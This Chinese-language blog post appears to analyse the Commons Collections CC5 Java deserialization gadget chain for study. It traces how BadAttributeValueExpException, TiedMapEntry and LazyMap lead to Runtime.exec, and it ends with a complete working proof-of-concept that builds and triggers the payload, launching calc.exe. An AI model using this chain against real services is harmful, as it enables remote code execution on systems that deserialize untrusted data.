前言

和 CC6 类似,其中 BadAttributeValueExpExceptionTiedMapEntry 这两者的利用要着重分析,是可以迁移的。

前置

Gadget

/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

BadAttributeValueExpException

将无效的MBean特性传递给查询构造方法时抛出。 在评估查询期间,JMX在内部使用此异常。 用户代码通常不会看到它。

我们这里主要就是利用的这里

image.png

我们通过这个类是可以调用任意的 toString 的,这里通过一个反射的 get 方法调用 gf 中的 val 为 valObj 赋值,然后调用其中的 toString

然后这里的 gf 我们可以看到,其实就是从反序列化流中读取的,也就是说我们可以控制这里的整个流程

TiedMapEntry

TiedMapEntry类 属于 org.apache.commons.collections.keyvalue 包,它的 toString 方法可以调用到任意 Map 的 get 方法

image.png

image.png

image.png

分析

利用链分析

image.png

我们通过 BadAttributeValueExpException 的 readObject 进入,通过这里调用到 TiedMapEntry 的 toString,然后通过TiedMapEntry 的 toString 调用到 getValue,进而调用 LazyMap 的 get 方法,具体的可以看上面

image.png

然后通过 LazyMap 的 get 方法调用我们构造好的 transforme

调试

因为这里用到了 toString ,我们在动调的时候可能会遇到一些问题,一开始的时候我的命令会在这个位置直接执行,弹出计算器

image.png

然后再跟进之后的过程也进入不了 get 的 if 了

image.png

但是后来又莫名其妙地好了,就看了一下配置,也没有动什么别的。

image.png

整个的方法栈

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5POC {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);

BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(poc);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}